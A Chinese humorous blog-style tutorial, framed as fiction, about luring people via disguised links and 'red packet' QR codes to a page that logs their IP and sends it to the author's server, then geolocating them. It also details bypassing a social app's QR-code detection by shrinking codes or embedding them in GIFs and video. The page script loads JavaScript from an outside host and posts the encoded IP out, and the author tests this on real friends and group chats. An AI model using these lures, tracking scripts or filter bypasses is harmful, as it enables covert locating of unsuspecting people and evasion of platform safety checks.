我在人间凑数的日子---网恋篇（一）
导语
本文纯属虚构，请勿联系实际生活，部分内容可能引用，如有侵权联系删除。
本篇涉及知识点如下:
1.web服务搭建 2.html页面编写，获取IP，简单加密 3.短网址伪装 4.二维码伪装 5.高精度定位 6.二维码检测绕过与思路拓展 7.微信好友申请与聊天拉扯
正文
每天早上都想干翻这个世界，晚上回到家被这个世界干的服服帖帖，被生活疯狂折磨，但依然热爱生活。
一觉醒来，发现今天并没有发生改变，于是准备找朋友沟通一下感情。
一、web服务搭建
1.安装web服务
使用ubuntu安装nginx
# 切换至root用户 sudo su root apt-get install nginx
2.命令执行完毕后，查看是否安装成功
nginx -v
3.启动nginx
service nginx start
启动后，在网页重输入ip，即可看到nginx的欢迎页面,至此nginx安装成功.
4.默认存放日志目录： /var/log/nginx/
access.log文件为访问日志，会记录访问的IP地址
5.只要将特定的地址发送给目标访问，之后查看日志即可。
二、Html页面编写与伪装
1.正常直接给目标发送一个地址会很奇怪，所以简单伪装下增强下迷惑性。
到网站web目录下，建一个hi.html文件，内容输入hi~
访问一下，可正常访问
查看日志记录,可以看到访问IP。
2.百度短链接转换，将地址转换为短链接，然后发送给目标即可。
3.找个群聊测试一下效果。
等待10几分钟，没人理我...
看来没有吸引力，再加上一点诱惑语言，吸引一下，果然诱惑性语言是走向成功的基石。
4.百度js获取ip地址，找到一个三方js，尝试一下
http://www.xiuc.top:8188/page/mob/index.html
获取ip，弹窗代码
< script src="http://www.xiuc.top/i.js"></script> < script> io(ip())</script>
弹窗测试效果图
5.给ip进行下base64编码，再来个重定向。
<html>
< script src="http://www.xiuc.top/i.js"></script>
< script>
Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function (e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function (e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
}, _utf8_encode: function (e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
}, _utf8_decode: function (e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3
}
}
return t
}
}
var encodedString = Base64.encode(ip());
ic( encodedString );
to('http://xxx.com/hi.html',{
token:encodedString
})
</script>
</html>效果图如下
6.这样也可以解密日志中的base64来得到IP，这个是第三方的IP来源维度，可以和服务器自带的做一个对比，也可以做成别的自定义加密方式。
7.当目标点击后百度高精度的定位网站，查一下，如下
http://www.chaipip.com/aiwen.html
效果图
收获到一个跳跳企鹅，是不是很好玩。
8.为了测试准确性，多换几个目标进行测试
不禁让人感叹，现在的人越来越聪明了。不过这波不亏，毕竟没人让我说，中国人不骗中国人。
9.看来大家对链接还是有一定的警惕性，再次略作思索，如果换成领红包的二维码呢？
百度在线二维码制作，输入短网址，生成二维码。
对二维码进行美化，加图标和文字。
看起来还不错，再换个好友测试一下
这波分析太到位了。不愧是大佬行为。于是我只好用出终极社工杀手锏。
完美得到地址，但是相对来说，人们对二维码的警惕性还是要比陌生链接低，再比如说扫描二维码问卷调查领红包呢？是不是更有真实性。所以提醒大家不要轻易扫码哦。
三、二维码检测绕过
接着开始闲聊，朋友说在社交，在朋友的推荐下决定尝试拓展一下社交圈
结果下载软件后一番操作，已读未回...
看起来是个坏消息，但是问题不大。
渔夫每次出海前都不知道鱼在哪里，但他还是坚持出海，因为他相信自己一定能满载而归。
经过长期操作，终于匹配到一个幸运网友，经过一番对话后，开始正题。
作为一个刚认识的网友，我的拒绝合情合理，所以我准备下线了，但是。
谁能拒绝一个可怜的深山里卖茶叶的小姑娘呢。
女人，你成功的引起了我的注意，等待良久...
内心的正义感在燃烧，所以，为了帮助她，我决定研究一下。
刚好之前制作二维码，直接拿来测试，一个红色，提示发送失败，可恶！
既然二维码是图片，那猜测应该是把图片还原进行检测的。尝试一下模糊图片发送，结果失败
看来需要了解一下如何识别图片中的二维码，根据网络搜索来的信息和经验结合，首先，我们识别一个东西，是根据特征来确定的，二维码应该也是如此。
二维码的特点，如下图：
有三个“回“字形图案，中间的一个点位于图案的左上角，之所以这样设计是因为图像偏转，也可以根据此特征来纠正，也就是说识别二维码，就是识别二维码的三个点。
接下来，逐步分析一下这三个点的特性：
1.每个点有两个轮廓。就是两个口，大“口”内部有一个小“口”，所以是两个轮廓。
2.如果把这个“回”放到一个白色的背景下，从左到右，或从上到下画一条线。这条线经过的 图案黑白比例大约为：黑白比例为1:1:3:1:1。
3.如何找到左上角的顶点？这个顶点与其他两个顶点的夹角为90度。
通过上面几个步骤，就能识别出二维码的三个顶点，并且识别出左上角的顶点。
通俗讲如下图得到 A、B、C三个回型点来告诉程序它是一个二维码，可以对其解析。
我们将B点进行打码，拿微信的二维码识别验证一下，可以看到没有识别二维码的按钮
再使用扫一扫验证，无法识别
根据上面的实验，我们只需把A、B、C三个回中的任意一个打码即可让程序认为它不是个二维码。
接着我们回到社交软件发送我们打码后的二维码。
在这里有个问题，我打码后的二维码即使能发出去但是别人识别不了，哪有啥用？ 问的好，下次不要这么问了。 首先，因为打码的二维码还没发送成功，所以你这个问题没意义，下一位。
尝试发送打码的二维码，提示发送失败，该软件认为这是一个二维码。
根据此反馈我们应该可以确认该软件是没有“真正”的去识别二维码的，只要相似就会提示，这就给了我们机会，那猜测他们识别策略是类似有一批样本，之后拿发送的图片进行一个对比，如果识别度达到多少，就会提示是二维码。
那么相应的我们就需要一张有二维码，但和常规二维码不一样的二维码。
于是，我尝试把二维码缩小，截取一张大图才进行发送。
经过反复测试对比，发现只要正常二维码大小，小于整张图的1/25，可以放N个都不会被识别到，并且微信图片识别二维码和扫一扫，包括肉眼都可以正常识别，那么问题基本解决。
继续对几个功能测试，发现可以拍摄表情包，主要为gif动图，尝试直接把动图二维码放上去，提示红色感叹号。
测试拍摄其他内容，中间夹杂二维码，发现可正常发送。
同理视频中携带二维码应该也可以正常发送，但此功能需要互相关注才可。
目前我们有了三种途径来绕过发送二维码：
1.二维码缩小绕过检测发送 2.gif动图夹杂二维码发送 3.视频夹杂二维码发送（需互关）
四、二维码检测绕过思路拓展
那么除此之外，还有什么方法可以绕过检测呢？
思考片刻，既然检测的是图片，那么换个载体承载信息呢？
于是尝试以下几个思路
1.参考仓颉造字，那造个二维码的字好不好 2.参考网友的颜文字神兽图案，组装一个二维码
关于造字，经过一系列百度，可以利用windows的造字程序。
以win10为例，在搜索中输入“专用字符编辑程序” 查找
打开程序后一路默认直接创做即可
字符集选择Unicode .保存
之后点击编辑，复制字符
输入对应的代码到右侧
右击复制
再新建一个txt文档粘贴即可，演示效果如下
可惜的是由于对方没有对应的字符集，只能本地玩玩。
第二种方案就是类似如下神兽，利用符号组合成二维码进行发送
思路到此结束。
五、聊天拉扯
最后，根据测试结果比对，通过缩小二维码绕过检测进行发送，无疑是当下最优的方法。
赶紧拿我们的方法来告诉卖茶的阿花，顺带展示下我们的实力。
可是等待了10分钟，对方还是没有把二维码发给我们，难道被识破了？沉浸式思考...
好你个网友，本以为想骗我扫码买茶叶，兜兜转转，原来是想得到我微信，这该死的魅力。
3，2，1...
尾结
人间的真话本就不多， 一个女子的脸红胜过一大片情话。可后来有了胭脂，便分不清是真情还是假意。但现在又有了腮红， 更遑论谁是有意无意。未完待续...